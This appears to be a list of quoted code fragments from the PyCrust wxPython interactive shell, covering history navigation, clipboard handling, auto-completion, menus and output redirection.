"event.IsChecked() def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self,",
"line.strip() != '' and line.lstrip() == line: # New command. if command: #",
"== wxID_OK: text = dialog.GetValue() return text finally: dialog.Destroy() return '' def pause(self):",
"\"\"\"Replacement for stdin.readline().\"\"\" input = '' reader = self.reader reader.isreading = 1 self.prompt()",
"= self.reader else: sys.stdin = self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect is true",
"self.interp.push(command) del busy if not self.more: self.addHistory(command.rstrip()) for handler in self.handlers: handler() self.prompt()",
"lstripPrompt(self, text): \"\"\"Return text without a leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size =",
"command in file.readlines(): if command[:6] == 'shell.': # Run shell methods silently. self.run(command,",
"to see if there # is a selection that includes text prior to",
"and key == WXK_RETURN: if self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine() #",
"every time a command is issued. ps1 = str(sys.ps1) ps1size = len(ps1) ps2",
"pos, size, style) # Grab these so they can be restored by self.redirect*",
"def quit(self): \"\"\"Quit the application.\"\"\" # XXX Good enough for now but later",
"endings with OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return",
"(Type a few characters of a previous command and then press F8.) F9",
"item. (Type a few characters of a previous command and then press F8.)",
"user hit Enter.\"\"\" # The user hit ENTER and we need to decide",
"def PasteAndRun(self): \"\"\"Replace selection with clipboard contents, run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)):",
"to extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort()",
"standard menu items.\"\"\" def createMenus(self): m = self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit',",
"where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command",
"'&Filling', fm, 'Filling Options') m = self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About",
"blank # line or the same as the last command. if command !=",
"'Show __doc__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__",
"key in self.autoCompleteKeys: # Usually the dot (period) key activates auto completion. #",
"= wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and",
"wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and place",
"\"exit\" and \"quit\" to a helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit",
"redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def CanCut(self): \"\"\"Return true if",
"# Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT,",
"to the prompt. elif selecting and key not in NAVKEYS and not self.CanEdit():",
"Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision = __revision__",
"surrounding app # decide what it wants to do. self.write('Click on the close",
"OnHistorySelected(self, event): command = event.GetText() if command.find('\\\\n') >= 0: command += '\\\\n' command",
"Ctrl+Up Arrow Retrieve Previous History item. Alt+P Retrieve Previous History item. Ctrl+Down Arrow",
"self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do",
"and os.path.isfile(startupScript): startupText = 'Startup script executed: ' + startupScript self.push('print %s;execfile(%s)' %",
"one). if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put the cursor",
"data # from our singleton clipboard instance data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close()",
"if tip: curpos = self.GetCurrentPos() tippos = curpos - (len(name) + 1) fallback",
"isreading = self.reader.isreading skip = 0 if isreading: prompt = str(sys.ps3) elif self.more:",
"= [] for command in self.history: if command[:n] == prefix and command not",
"from .drag_and_drop import PythonObject from .drag_and_drop import clipboard as enClipboard sys.ps3 = '<--",
"= 0 def OnHistoryReplace(self, step): \"\"\"Replace with the previous/next command from the history",
"is not None: # note that the presence of a PythonObject on the",
"if self.autoComplete: self.autoCompleteShow(command) elif key == ord('('): # The left paren activates a",
"for the text in front of the cursor.\"\"\" if not self.CanEdit(): return startpos",
"self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part",
"= self.GetTextRange(startpos, endpos) lines = command.split(os.linesep + sys.ps2) lines = [line.rstrip() for line",
"m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll',",
"\"\"\" # Go to the very bottom of the text. endpos = self.GetTextLength()",
"self.__dict__[method] = getattr(other, method) d = self.__dict__ d['other'] = other d['helpText'] = \\",
"next command from the history buffer. elif (controlDown and key == WXK_DOWN) \\",
"ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs to be aware of the prompt. elif",
"self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including",
"= wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree view after each command', 1)",
"to the beginning of the command or line. Shift+Home Select to the beginning",
"grab the data # from our singleton clipboard instance data = enClipboard.data self.python_obj_paste_handler(data)",
"self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript')) else: self.push('') def setStyles(self, faces): \"\"\"Configure font",
"-= 2 else: # GTK faces = { 'times' : 'Times', 'mono' :",
"1.2 $\"[11:-2] from wx.wx import * from wx.stc import * import keyword import",
"\"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces)",
"cursor. # Add the '(' to the end of the command. self.ReplaceSelection('') command",
"the other command. else: # If the line contains a command (even an",
"line = self.GetCurrentLine() while text[:ps2size] == ps2 and line > 0: line -=",
"= 1 else: self.write(os.linesep) if not self.more: self.promptPosStart = self.GetCurrentPos() if not skip:",
"= str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # This",
"history position. self.historyIndex = -1 self.historyPrefix = 0 # Insert this command into",
"dialog.ShowModal() == wxID_OK: text = dialog.GetValue() return text finally: dialog.Destroy() return '' def",
"if it was typed in directly. >>> shell.run('print \"this\"') >>> print \"this\" this",
"endpos = self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if prompt: self.prompt() if verbose: self.write(command)",
"# The following handlers modify text, so we need to see if there",
"= enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection with clipboard contents,",
"m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b = self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu,",
"window of matching History items. (Type a few characters of a previous command",
"and we need to decide what to do. They could be # sitting",
"wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW,",
"ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif",
"if charBefore and chr(charBefore) in '[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret =",
"ord('x'))) \\ or (shiftDown and key == WXK_DELETE): self.Cut() # Copy to the",
"elif (controlDown and key == WXK_DOWN) \\ or (altDown and key in (ord('N'),",
"wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0 def CanEdit(self): \"\"\"Return true if editing should",
"wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is not available in this version",
"\\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call Tip Options') if",
"self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event): tree",
"\\ 'Python Version: %s\\n' % sys.version.split()[0] + \\ 'wxPython Version: %s\\n' % wx.__version__",
"options) def autoCallTipShow(self, command): \"\"\"Display argument spec and docstring in a popup bubble",
"def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate",
"to do. They could be # sitting on any line in the shell.",
"self.GetCurLine()[0] if text[:ps1size] == ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() +",
"= event.ControlDown() altDown = event.AltDown() shiftDown = event.ShiftDown() currpos = self.GetCurrentPos() endpos =",
"\\ or (altDown and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous",
"Insert Next History item. F8 Command-completion of History item. (Type a few characters",
"busy if not self.more: self.addHistory(command.rstrip()) for handler in self.handlers: handler() self.prompt() def addHistory(self,",
"self.GetSelectedText() command = command.replace(os.linesep + sys.ps2, os.linesep) command = command.replace(os.linesep + sys.ps1, os.linesep)",
"pass def destroy(self): # del self.interp pass def config(self): \"\"\"Configure shell based on",
"not self.CanEdit(): pass else: event.Skip() def clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\" startpos",
"text.replace(os.linesep + sys.ps2, '\\n') text = text.replace(os.linesep, '\\n') lines = text.split('\\n') commands =",
"few characters of a previous command and then press F8.) F9 Pop-up window",
"command.split(os.linesep + sys.ps2) lines = [line.rstrip() for line in lines] command = '\\n'.join(lines)",
"self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b = self.menuBar = wxMenuBar()",
"redirect is true then sys.stdin will come from the shell.\"\"\" if redirect: sys.stdin",
"'Include attributes visible to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\",
"something interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python Shell.', '__version__':",
"self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else:",
"cursor. elif key == WXK_F8: self.OnHistorySearch() # Show all history entries that match",
"\"\"\"Keypress event handler. Only receives an event if OnKeyDown calls event.Skip() for the",
"magic attributes to extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle',",
"list. commands.append(command) # Start a new command, which may be multiline. command =",
"if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos =",
"__getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include attibutes prefixed by",
"font size, typeface and color for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" %",
"= self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu items based",
"End Go to the end of the line. Ctrl+C Copy selected text, removing",
"in the shell.\"\"\" if text: if not text.endswith(os.linesep): text += os.linesep self.write(text) try:",
"self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 else: return",
"editor. The command may not necessarily be valid Python syntax.\"\"\" # XXX Need",
"braces.\"\"\" braceAtCaret = -1 braceOpposite = -1 charBefore = None caretPos = self.GetCurrentPos()",
"input = reader.input finally: reader.input = '' reader.isreading = 0 return input def",
"front of # the list (ie. at index 0) as they are entered.",
"\"\"\"Replace with the previous/next command from the history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix",
"self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu)",
"prompt=''): \"\"\"Return string based on user input.\"\"\" if prompt: self.write(prompt) return self.readline() def",
"rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find out",
"text is selected and can be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\ and",
"selected text. Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste and run multiple commands from",
"if key == WXK_RETURN: pass elif key in self.autoCompleteKeys: # Usually the dot",
"tips with argument specifications', 1) m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion',",
"): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict)",
"command not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace",
"zoom level. This number of points is added to the size of all",
"event.Skip() # Clear the current, unexecuted command. elif key == WXK_ESCAPE: if self.CallTipActive():",
"and overwrite mode. elif key == WXK_INSERT: pass # Don't allow line deletion.",
"self.write('Click on the close button to leave the application.') def setLocalShell(self): \"\"\"Add 'shell'",
"styleBefore = self.GetStyleAt(caretPos - 1) # Check before. if charBefore and chr(charBefore) in",
"0) as they are entered. self.historyIndex # is the current position in the",
"Don't backspace over the latest non-continuation prompt. elif key == WXK_BACK: if selecting",
"command = command.rstrip() return command def getCommand(self, text=None, rstrip=1): \"\"\"Extract a command from",
"command = self.fixLineEndings(command) command = self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2, '\\n') command",
"elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id ==",
"with argument specifications', 1) m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu,",
"Cut(self): \"\"\"Remove selection and place it on the clipboard.\"\"\" if self.CanCut() and self.CanCopy():",
"and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include attibutes prefixed by a",
"the application.' def quit(self): \"\"\"Quit the application.\"\"\" # XXX Good enough for now",
"shell is based on wxPython's wxStyledTextCtrl. The latest files are always available at",
"\"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision = __revision__ def",
"== 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self, text): \"\"\"Replacement for",
"def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input = '' reader = self.reader reader.isreading =",
"self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble)",
"pos > 0: if isreading: skip = 1 else: self.write(os.linesep) if not self.more:",
"Assign some pseudo keywords to the interpreter's namespace. try: self.setBuiltinKeywords() except: pass #",
"+= 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line += 1 self.GotoLine(line) stoppos =",
"ord('l')): pass # Don't allow line transposition. elif controlDown and key in (ord('T'),",
"to be aware of the prompt. elif key == WXK_HOME: home = self.promptPosEnd",
"return # Search upwards from the current history position and loop back #",
"and can be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd",
"from the history buffer. elif (shiftDown and key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1)",
"= wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS =",
"Let Ctrl-Alt-* get handled normally. elif controlDown and altDown: event.Skip() # Clear the",
"= wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW =",
"self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0 def",
"Completion', \\ 'Show auto completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes',",
"fix bug in wxSTC for wxPython < 2.3.3. if charBefore < 0: charBefore",
"namespace. try: self.setBuiltinKeywords() except: pass # Add 'shell' to the interpreter's local namespace.",
"on the close button to leave the application.') def setLocalShell(self): \"\"\"Add 'shell' to",
"\"\"\"Display introductory text in the shell.\"\"\" if text: if not text.endswith(os.linesep): text +=",
"else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress event handler. Only receives an event",
"self.GetSelectionEnd() # Return (Enter) is used to submit a command to the interpreter.",
"Prevent modification of previously submitted commands/responses. key = event.KeyCode() controlDown = event.ControlDown() altDown",
"text: text = self.GetCurLine()[0] # Strip the prompt off the front of text",
"latest files are always available at the SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored",
"caretPos if braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and",
"not controlDown and key == WXK_RETURN: if self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel()",
"of the line. Ctrl+C Copy selected text, removing prompts. Ctrl+Shift+C Copy selected text,",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu)",
"\"\"\"Execute command within the shell as if it was typed in directly. >>>",
"for i in searchOrder: command = self.history[i] if command[:len(searchText)] == searchText: # Replace",
"= len(ps2) # Strip the prompt off the front of text. if text[:ps1size]",
"A&ll', 'Select all text') m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion',",
"= '\\n' self.reader.input = command self.write(os.linesep) else: self.push(command) # Or replace the current",
"elif (controlDown and key in (ord('X'), ord('x'))) \\ or (shiftDown and key ==",
"# # The following handlers modify text, so we need to see if",
"view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries in the tree view', 1)",
"= '\\n'.join(list) offset = 0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display argument spec",
"(ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the next command from the history buffer.",
"following handlers modify text, so we need to see if there # is",
"ps2 and line > 0: line -= 1 self.GotoLine(line) text = self.GetCurLine()[0] if",
"Enthought, Inc. # All rights reserved. # # This software is provided without",
"== ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle)",
"= six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click on the close button to leave",
"None caretPos = self.GetCurrentPos() if caretPos > 0: charBefore = self.GetCharAt(caretPos - 1)",
"not self.more: self.promptPosStart = self.GetCurrentPos() if not skip: self.write(prompt) if not self.more: self.promptPosEnd",
"true if editing should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd",
"back where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line",
"self.Cut() # Copy to the clipboard. elif controlDown and not shiftDown \\ and",
"script if they have one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText = 'Startup script",
"end of the command. command = self.GetTextRange(stoppos, currpos) if command == '': self.historyShow()",
"facade, in that all attributes of other are still accessible, even though only",
"self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def OnUndo(self, event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo()",
"1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\"",
"(Enter) needs to be ignored in this handler. if key == WXK_RETURN: pass",
"def showIntro(self, text=''): \"\"\"Display introductory text in the shell.\"\"\" if text: if not",
"'Courier', 'helv' : 'Helvetica', 'other' : 'new century schoolbook', 'size' : 12, 'lnsize'",
"# Display the introductory banner information. try: self.showIntro(introText) except: pass # Assign some",
"needs to be aware of the prompt. elif key == WXK_HOME: home =",
"event.Skip() def clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\" startpos = self.promptPosEnd endpos =",
"= InterpClass # Create default locals so we have something interesting. shellLocals =",
"fix bug in wxSTC for wxPython < 2.3.3. if charAfter < 0: charAfter",
"\"\"\"If redirect is true then sys.stdout will go to the shell.\"\"\" if redirect:",
"startpos = self.GetCurrentPos() # The text up to the cursor is what we",
"elif currpos > self.promptPosEnd: event.Skip() # Only allow these keys after the latest",
"except AttributeError: return 'Wrapping is not available in this version of PyCrust.' def",
"= ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP script if they have",
"currpos > self.promptPosEnd: event.Skip() # Only allow these keys after the latest prompt.",
"the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() command = command.replace(os.linesep + sys.ps2, os.linesep)",
"if self.reader.isreading: if not command: # Match the behavior of the standard Python",
"util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an interactive text control in",
"the history position. self.historyIndex = -1 self.historyPrefix = 0 # Insert this command",
"'' self.reader.isreading = 0 # Set up the interpreter. self.interp = Interpreter(locals=shellLocals, \\",
"self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc)",
"tree.update() def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self,",
"and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 else: return self.GetCurrentPos() >=",
"= wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS =",
"self.OnHistoryInsert(step=+1) # Insert the next command from the history buffer. elif (shiftDown and",
"F9.) \"\"\" def help(self): \"\"\"Display some useful information about how to use the",
"the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other, name): return getattr(self.other, name) else:",
"isreading: skip = 1 else: self.write(os.linesep) if not self.more: self.promptPosStart = self.GetCurrentPos() if",
"EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True)",
"rstrip=1): \"\"\"Extract a command from text which may include a shell prompt. The",
"from text which may include a shell prompt. The command may not necessarily",
"m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text') m",
"= self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter) is used to submit a command",
"0 command = self.GetTextRange(startpos, endpos) lines = command.split(os.linesep + sys.ps2) lines = [line.rstrip()",
"altDown = event.AltDown() shiftDown = event.ShiftDown() currpos = self.GetCurrentPos() endpos = self.GetTextLength() selecting",
"with the next command from the history buffer. elif (controlDown and key ==",
"(prefix == item[:len(prefix)]) and item not in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self,",
"in a popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command)",
"= wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\"",
"0: return 0 if len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1",
"= event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update()",
"self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self, step): \"\"\"Replace with the",
"self.lstripPrompt(text) if command == text: command = '' # Real commands have prompts.",
"# an active auto completion. if self.AutoCompActive(): self.AutoCompCancel() # Get the command between",
"else: event.Skip() def clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\" startpos = self.promptPosEnd endpos",
"'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection')",
"OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree",
"a line break. elif controlDown and key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if",
"str(sys.ps3) elif self.more: prompt = str(sys.ps2) else: prompt = str(sys.ps1) pos = self.GetCurLine()[1]",
"self.promptPosEnd = 0 # Keep track of multi-line commands. self.more = 0 #",
"m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE,",
"a ShellFacade instance.\"\"\" methods = ['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout',",
"\"\"\"Execute the user's PYTHONSTARTUP script if they have one.\"\"\" if startupScript and os.path.isfile(startupScript):",
"self.CanEdit(): return key = event.KeyCode() currpos = self.GetCurrentPos() stoppos = self.promptPosEnd # Return",
"current, unexecuted command. elif key == WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand() #",
"event.Skip() # Don't toggle between insert mode and overwrite mode. elif key ==",
"command = self.history[i] if command[:len(searchText)] == searchText: # Replace the current selection with",
"Sponsored by Orbtech - Your source for Python programming expertise.\"\"\" from __future__ import",
"which may include a shell prompt. The command may not necessarily be valid",
"writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect is true",
"elif text[:ps2size] == ps2: text = text[ps2size:] return text def push(self, command): \"\"\"Send",
"self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key == ord('('): # The left paren activates",
"History item. (Type a few characters of a previous command and then press",
"want to quit. # Other applications, like PythonCard, may choose to hide rather",
"do something more interesting, like write to a status bar. print(text) def insertLineBreak(self):",
"ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # This is a",
"the command. command = self.lstripPrompt(text) if command == text: command = '' #",
"a multi-line command from the editor. The command may not necessarily be valid",
"interpreter. if not controlDown and key == WXK_RETURN: if self.AutoCompActive(): event.Skip() return if",
"self.reader.input = command self.write(os.linesep) else: self.push(command) # Or replace the current command with",
"the shell.\"\"\" self.ClearAll() def run(self, command, prompt=1, verbose=1): \"\"\"Execute command within the shell",
